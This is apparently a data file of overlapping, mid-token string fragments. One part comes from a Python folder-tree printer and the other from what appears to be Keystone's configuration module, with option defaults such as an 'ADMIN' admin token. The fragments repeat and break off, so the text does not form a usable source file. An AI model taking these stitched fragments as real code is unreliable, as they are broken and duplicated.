"curDepth < depth: depths.append(curDepth) depth=curDepth return depths def prettyPrint(treeInfo): for idx,node in enumerate(treeInfo):",
"scale = 2 def traverse(path, parents='', depth=0, isLast=True): tree = [(path, parents, depth,",
"return tree def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if x in connections else spacer",
"(traverse(file,realPath, depth+1, isLast)) else: tree.append((file, parents, depth+1, isLast)) return tree def addDepth(depth,connections,spacer=\" \"):",
"2 def traverse(path, parents='', depth=0, isLast=True): tree = [(path, parents, depth, isLast)] realPath",
"= idx == maxFiles -1 if isdir(curPath): tree = tree + (traverse(file,realPath, depth+1,",
"= 2 def traverse(path, parents='', depth=0, isLast=True): tree = [(path, parents, depth, isLast)]",
"-1 if isdir(curPath): tree = tree + (traverse(file,realPath, depth+1, isLast)) else: tree.append((file, parents,",
"depth=0, isLast=True): tree = [(path, parents, depth, isLast)] realPath = join(parents,path) files =",
"(name, parents, depth, isLast) = node prefix = last if isLast else middle",
"= len(files) for idx,file in enumerate(files): curPath = join(realPath,file) isLast = idx ==",
"last = '└' scale = 2 def traverse(path, parents='', depth=0, isLast=True): tree =",
"isLast)) return tree def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if x in connections else",
"prefix, name)) parser = ArgumentParser(description=\"list a folder as a tree\") parser.add_argument(\"folder\",default=\"./\", type=str) args",
"idx,node in enumerate(treeInfo): (name, parents, depth, isLast) = node prefix = last if",
"name)) parser = ArgumentParser(description=\"list a folder as a tree\") parser.add_argument(\"folder\",default=\"./\", type=str) args =",
"pipe = '│' last = '└' scale = 2 def traverse(path, parents='', depth=0,",
"[(path, parents, depth, isLast)] realPath = join(parents,path) files = listdir(realPath) maxFiles = len(files)",
"else middle connections = [x*scale for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name))",
"prettyPrint(treeInfo): for idx,node in enumerate(treeInfo): (name, parents, depth, isLast) = node prefix =",
"def prettyPrint(treeInfo): for idx,node in enumerate(treeInfo): (name, parents, depth, isLast) = node prefix",
"= '└' scale = 2 def traverse(path, parents='', depth=0, isLast=True): tree = [(path,",
"connections else spacer for x in range(0, depth)]) def findConnections(depth, below): depths =",
"\"): return \"\".join([pipe if x in connections else spacer for x in range(0,",
"isLast = idx == maxFiles -1 if isdir(curPath): tree = tree + (traverse(file,realPath,",
"idx == maxFiles -1 if isdir(curPath): tree = tree + (traverse(file,realPath, depth+1, isLast))",
"spacer for x in range(0, depth)]) def findConnections(depth, below): depths = [] for",
"below): depths = [] for (_,_,curDepth,_) in below: if curDepth < depth: depths.append(curDepth)",
"depth)]) def findConnections(depth, below): depths = [] for (_,_,curDepth,_) in below: if curDepth",
"below: if curDepth < depth: depths.append(curDepth) depth=curDepth return depths def prettyPrint(treeInfo): for idx,node",
"== maxFiles -1 if isdir(curPath): tree = tree + (traverse(file,realPath, depth+1, isLast)) else:",
"def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if x in connections else spacer for x",
"= node prefix = last if isLast else middle connections = [x*scale for",
"enumerate(treeInfo): (name, parents, depth, isLast) = node prefix = last if isLast else",
"ArgumentParser from os.path import isdir,join middle = '├' pipe = '│' last =",
"os from os import listdir from argparse import ArgumentParser from os.path import isdir,join",
"a folder as a tree\") parser.add_argument(\"folder\",default=\"./\", type=str) args = parser.parse_args() folderInfo = traverse(args.folder)",
"= join(parents,path) files = listdir(realPath) maxFiles = len(files) for idx,file in enumerate(files): curPath",
"\"\".join([pipe if x in connections else spacer for x in range(0, depth)]) def",
"for (_,_,curDepth,_) in below: if curDepth < depth: depths.append(curDepth) depth=curDepth return depths def",
"isLast)) else: tree.append((file, parents, depth+1, isLast)) return tree def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe",
"if isdir(curPath): tree = tree + (traverse(file,realPath, depth+1, isLast)) else: tree.append((file, parents, depth+1,",
"middle = '├' pipe = '│' last = '└' scale = 2 def",
"x in connections else spacer for x in range(0, depth)]) def findConnections(depth, below):",
"import isdir,join middle = '├' pipe = '│' last = '└' scale =",
"for idx,file in enumerate(files): curPath = join(realPath,file) isLast = idx == maxFiles -1",
"depth, isLast)] realPath = join(parents,path) files = listdir(realPath) maxFiles = len(files) for idx,file",
"import os from os import listdir from argparse import ArgumentParser from os.path import",
"for x in range(0, depth)]) def findConnections(depth, below): depths = [] for (_,_,curDepth,_)",
"last if isLast else middle connections = [x*scale for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s",
"os.path import isdir,join middle = '├' pipe = '│' last = '└' scale",
"idx,file in enumerate(files): curPath = join(realPath,file) isLast = idx == maxFiles -1 if",
"if isLast else middle connections = [x*scale for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections),",
"import ArgumentParser from os.path import isdir,join middle = '├' pipe = '│' last",
"parents='', depth=0, isLast=True): tree = [(path, parents, depth, isLast)] realPath = join(parents,path) files",
"folder as a tree\") parser.add_argument(\"folder\",default=\"./\", type=str) args = parser.parse_args() folderInfo = traverse(args.folder) print(prettyPrint(folderInfo))",
"x in range(0, depth)]) def findConnections(depth, below): depths = [] for (_,_,curDepth,_) in",
"isdir,join middle = '├' pipe = '│' last = '└' scale = 2",
"findConnections(depth, below): depths = [] for (_,_,curDepth,_) in below: if curDepth < depth:",
"join(parents,path) files = listdir(realPath) maxFiles = len(files) for idx,file in enumerate(files): curPath =",
"= last if isLast else middle connections = [x*scale for x in findConnections(depth,treeInfo[idx:])]",
"print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser = ArgumentParser(description=\"list a folder as a tree\") parser.add_argument(\"folder\",default=\"./\",",
"= ArgumentParser(description=\"list a folder as a tree\") parser.add_argument(\"folder\",default=\"./\", type=str) args = parser.parse_args() folderInfo",
"depth, isLast) = node prefix = last if isLast else middle connections =",
"prefix = last if isLast else middle connections = [x*scale for x in",
"for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser = ArgumentParser(description=\"list a folder",
"depth=curDepth return depths def prettyPrint(treeInfo): for idx,node in enumerate(treeInfo): (name, parents, depth, isLast)",
"in range(0, depth)]) def findConnections(depth, below): depths = [] for (_,_,curDepth,_) in below:",
"[] for (_,_,curDepth,_) in below: if curDepth < depth: depths.append(curDepth) depth=curDepth return depths",
"return \"\".join([pipe if x in connections else spacer for x in range(0, depth)])",
"= [x*scale for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser = ArgumentParser(description=\"list",
"in connections else spacer for x in range(0, depth)]) def findConnections(depth, below): depths",
"depths.append(curDepth) depth=curDepth return depths def prettyPrint(treeInfo): for idx,node in enumerate(treeInfo): (name, parents, depth,",
"from argparse import ArgumentParser from os.path import isdir,join middle = '├' pipe =",
"os import listdir from argparse import ArgumentParser from os.path import isdir,join middle =",
"enumerate(files): curPath = join(realPath,file) isLast = idx == maxFiles -1 if isdir(curPath): tree",
"join(realPath,file) isLast = idx == maxFiles -1 if isdir(curPath): tree = tree +",
"= [] for (_,_,curDepth,_) in below: if curDepth < depth: depths.append(curDepth) depth=curDepth return",
"= [(path, parents, depth, isLast)] realPath = join(parents,path) files = listdir(realPath) maxFiles =",
"return depths def prettyPrint(treeInfo): for idx,node in enumerate(treeInfo): (name, parents, depth, isLast) =",
"findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser = ArgumentParser(description=\"list a folder as a tree\")",
"= listdir(realPath) maxFiles = len(files) for idx,file in enumerate(files): curPath = join(realPath,file) isLast",
"isdir(curPath): tree = tree + (traverse(file,realPath, depth+1, isLast)) else: tree.append((file, parents, depth+1, isLast))",
"tree.append((file, parents, depth+1, isLast)) return tree def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if x",
"def traverse(path, parents='', depth=0, isLast=True): tree = [(path, parents, depth, isLast)] realPath =",
"%s\"%(addDepth(depth*scale,connections), prefix, name)) parser = ArgumentParser(description=\"list a folder as a tree\") parser.add_argument(\"folder\",default=\"./\", type=str)",
"depths = [] for (_,_,curDepth,_) in below: if curDepth < depth: depths.append(curDepth) depth=curDepth",
"from os.path import isdir,join middle = '├' pipe = '│' last = '└'",
"realPath = join(parents,path) files = listdir(realPath) maxFiles = len(files) for idx,file in enumerate(files):",
"maxFiles -1 if isdir(curPath): tree = tree + (traverse(file,realPath, depth+1, isLast)) else: tree.append((file,",
"depth+1, isLast)) return tree def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if x in connections",
"listdir from argparse import ArgumentParser from os.path import isdir,join middle = '├' pipe",
"= tree + (traverse(file,realPath, depth+1, isLast)) else: tree.append((file, parents, depth+1, isLast)) return tree",
"tree = tree + (traverse(file,realPath, depth+1, isLast)) else: tree.append((file, parents, depth+1, isLast)) return",
"for idx,node in enumerate(treeInfo): (name, parents, depth, isLast) = node prefix = last",
"in below: if curDepth < depth: depths.append(curDepth) depth=curDepth return depths def prettyPrint(treeInfo): for",
"else spacer for x in range(0, depth)]) def findConnections(depth, below): depths = []",
"connections = [x*scale for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser =",
"def findConnections(depth, below): depths = [] for (_,_,curDepth,_) in below: if curDepth <",
"isLast=True): tree = [(path, parents, depth, isLast)] realPath = join(parents,path) files = listdir(realPath)",
"depth: depths.append(curDepth) depth=curDepth return depths def prettyPrint(treeInfo): for idx,node in enumerate(treeInfo): (name, parents,",
"in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser = ArgumentParser(description=\"list a folder as a",
"addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if x in connections else spacer for x in",
"isLast else middle connections = [x*scale for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix,",
"range(0, depth)]) def findConnections(depth, below): depths = [] for (_,_,curDepth,_) in below: if",
"parser = ArgumentParser(description=\"list a folder as a tree\") parser.add_argument(\"folder\",default=\"./\", type=str) args = parser.parse_args()",
"< depth: depths.append(curDepth) depth=curDepth return depths def prettyPrint(treeInfo): for idx,node in enumerate(treeInfo): (name,",
"depths def prettyPrint(treeInfo): for idx,node in enumerate(treeInfo): (name, parents, depth, isLast) = node",
"[x*scale for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser = ArgumentParser(description=\"list a",
"argparse import ArgumentParser from os.path import isdir,join middle = '├' pipe = '│'",
"ArgumentParser(description=\"list a folder as a tree\") parser.add_argument(\"folder\",default=\"./\", type=str) args = parser.parse_args() folderInfo =",
"'└' scale = 2 def traverse(path, parents='', depth=0, isLast=True): tree = [(path, parents,",
"maxFiles = len(files) for idx,file in enumerate(files): curPath = join(realPath,file) isLast = idx",
"'│' last = '└' scale = 2 def traverse(path, parents='', depth=0, isLast=True): tree",
"+ (traverse(file,realPath, depth+1, isLast)) else: tree.append((file, parents, depth+1, isLast)) return tree def addDepth(depth,connections,spacer=\"",
"parents, depth+1, isLast)) return tree def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if x in",
"= '├' pipe = '│' last = '└' scale = 2 def traverse(path,",
"files = listdir(realPath) maxFiles = len(files) for idx,file in enumerate(files): curPath = join(realPath,file)",
"x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser = ArgumentParser(description=\"list a folder as",
"= join(realPath,file) isLast = idx == maxFiles -1 if isdir(curPath): tree = tree",
"len(files) for idx,file in enumerate(files): curPath = join(realPath,file) isLast = idx == maxFiles",
"tree + (traverse(file,realPath, depth+1, isLast)) else: tree.append((file, parents, depth+1, isLast)) return tree def",
"depth+1, isLast)) else: tree.append((file, parents, depth+1, isLast)) return tree def addDepth(depth,connections,spacer=\" \"): return",
"in enumerate(files): curPath = join(realPath,file) isLast = idx == maxFiles -1 if isdir(curPath):",
"tree = [(path, parents, depth, isLast)] realPath = join(parents,path) files = listdir(realPath) maxFiles",
"tree def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if x in connections else spacer for",
"isLast) = node prefix = last if isLast else middle connections = [x*scale",
"in enumerate(treeInfo): (name, parents, depth, isLast) = node prefix = last if isLast",
"if curDepth < depth: depths.append(curDepth) depth=curDepth return depths def prettyPrint(treeInfo): for idx,node in",
"node prefix = last if isLast else middle connections = [x*scale for x",
"= '│' last = '└' scale = 2 def traverse(path, parents='', depth=0, isLast=True):",
"(_,_,curDepth,_) in below: if curDepth < depth: depths.append(curDepth) depth=curDepth return depths def prettyPrint(treeInfo):",
"else: tree.append((file, parents, depth+1, isLast)) return tree def addDepth(depth,connections,spacer=\" \"): return \"\".join([pipe if",
"isLast)] realPath = join(parents,path) files = listdir(realPath) maxFiles = len(files) for idx,file in",
"middle connections = [x*scale for x in findConnections(depth,treeInfo[idx:])] print(\"%s%s %s\"%(addDepth(depth*scale,connections), prefix, name)) parser",
"if x in connections else spacer for x in range(0, depth)]) def findConnections(depth,",
"parents, depth, isLast) = node prefix = last if isLast else middle connections",
"import listdir from argparse import ArgumentParser from os.path import isdir,join middle = '├'",
"listdir(realPath) maxFiles = len(files) for idx,file in enumerate(files): curPath = join(realPath,file) isLast =",
"traverse(path, parents='', depth=0, isLast=True): tree = [(path, parents, depth, isLast)] realPath = join(parents,path)",
"parents, depth, isLast)] realPath = join(parents,path) files = listdir(realPath) maxFiles = len(files) for",
"'├' pipe = '│' last = '└' scale = 2 def traverse(path, parents='',",
"from os import listdir from argparse import ArgumentParser from os.path import isdir,join middle",
"curPath = join(realPath,file) isLast = idx == maxFiles -1 if isdir(curPath): tree ="
] |
[
"group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing',",
"Unless required by applicable law or agreed to in writing, software # distributed",
"register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='')",
"register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url', group='pam', default=None) register_str('userid', group='pam', default=None) register_str('password', group='pam', default=None)",
"default='') #ssl options register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs',",
"AttributeError: raise ValueError(_('Invalid syslog facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile =",
"register_bool('cert_required', group='ssl', default=False) #signing options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing',",
"file for all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable to locate",
"**kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group)",
"Apache License, Version 2.0 (the \"License\"); you may # not use this file",
"conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def",
"the License. You may obtain # a copy of the License at #",
"sql options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity',",
"may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password',",
"group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user',",
"elif conf.log_file: logfile = conf.log_file if conf.log_dir: logfile = os.path.join(conf.log_dir, logfile) handler =",
"with the License. You may obtain # a copy of the License at",
"and limitations # under the License. import gettext import os import sys from",
"None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args, **kw): conf = kw.pop('conf', CONF) group",
"governing permissions and limitations # under the License. import gettext import os import",
"register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam",
"# under the License. import gettext import os import sys from keystone.common import",
"gettext import os import sys from keystone.common import logging from keystone.openstack.common import cfg",
"register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com')",
"use this file except in compliance with the License. You may obtain #",
"\"\"\" if conf.log_config: # Use a logging configuration file for all settings... if",
"else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility)",
"group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url', group='pam', default=None) register_str('userid', group='pam', default=None) register_str('password',",
"logging ' 'config file: %s' % conf.log_config) root_logger = logging.root if conf.debug: root_logger.setLevel(logging.DEBUG)",
"default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url', group='pam',",
"= logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw): conf = kw.pop('conf', CONF) group =",
"BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF",
"handler = logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw): conf",
"implied. See the # License for the specific language governing permissions and limitations",
"supplied name :param conf: a cfg.ConfOpts object \"\"\" if conf.log_config: # Use a",
"os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable to locate specified logging ' 'config file:",
"logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format)",
"group='signing', default=3650) register_str('ca_password', group='signing', default=None) # sql options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql',",
"handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw): conf = kw.pop('conf', CONF) group",
"object \"\"\" if conf.log_config: # Use a logging configuration file for all settings...",
"default=None) # sql options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog')",
"group=group) def register_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return",
"default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl",
"you may # not use this file except in compliance with the License.",
"to locate specified logging ' 'config file: %s' % conf.log_config) root_logger = logging.root",
"group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix',",
"group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix',",
"KIND, either express or implied. See the # License for the specific language",
"register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver',",
"= logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise",
"= logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile = conf.log_file if conf.log_dir: logfile = os.path.join(conf.log_dir,",
"default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou')",
"file except in compliance with the License. You may obtain # a copy",
"conf.use_syslog: try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid syslog facility')) handler",
"# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2012 OpenStack LLC # # Licensed",
"default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url', group='pam', default=None) register_str('userid', group='pam', default=None) register_str('password', group='pam',",
"\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"logging from keystone.openstack.common import cfg gettext.install('keystone', unicode=1) CONF = cfg.CONF def setup_logging(conf): \"\"\"",
"configuration file for all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable to",
"conf: a cfg.ConfOpts object \"\"\" if conf.log_config: # Use a logging configuration file",
"logging options for a log with supplied name :param conf: a cfg.ConfOpts object",
"CONF) group = kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args, **kw): conf",
"None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args, **kw): conf = kw.pop('conf', CONF) group",
"software # distributed under the License is distributed on an \"AS IS\" BASIS,",
"language governing permissions and limitations # under the License. import gettext import os",
"elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try: facility",
"**kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready')",
"logfile) handler = logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw):",
"register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost')",
"vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2012 OpenStack LLC # # Licensed under",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to",
"gettext.install('keystone', unicode=1) CONF = cfg.CONF def setup_logging(conf): \"\"\" Sets up the logging options",
"# Use a logging configuration file for all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return",
"conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token',",
"distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY",
"the # License for the specific language governing permissions and limitations # under",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap',",
"register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url', group='pam', default=None)",
"You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"= kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args, **kw): conf = kw.pop('conf',",
"CONF) group = kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args, **kw): conf",
"except AttributeError: raise ValueError(_('Invalid syslog facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile",
"**kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group)",
"required by applicable law or agreed to in writing, software # distributed under",
"default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2')",
"default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn')",
"getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid syslog facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif",
"options register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl', default=None)",
"applicable law or agreed to in writing, software # distributed under the License",
"% conf.log_config) root_logger = logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING)",
"default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None)",
"group='signing', default=None) # sql options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog',",
"if conf.log_dir: logfile = os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout)",
"group = kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args, **kw): conf =",
"conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid syslog facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file:",
"kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args, **kw): conf = kw.pop('conf', CONF)",
"= kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774)",
"in compliance with the License. You may obtain # a copy of the",
"if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable to locate specified logging ' 'config",
"or agreed to in writing, software # distributed under the License is distributed",
"**kw), group=group) def register_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None)",
"default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn')",
"register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute',",
"register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn',",
"default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None)",
"default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl options register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl',",
"register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass',",
"register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass',",
"group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2',",
"conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def",
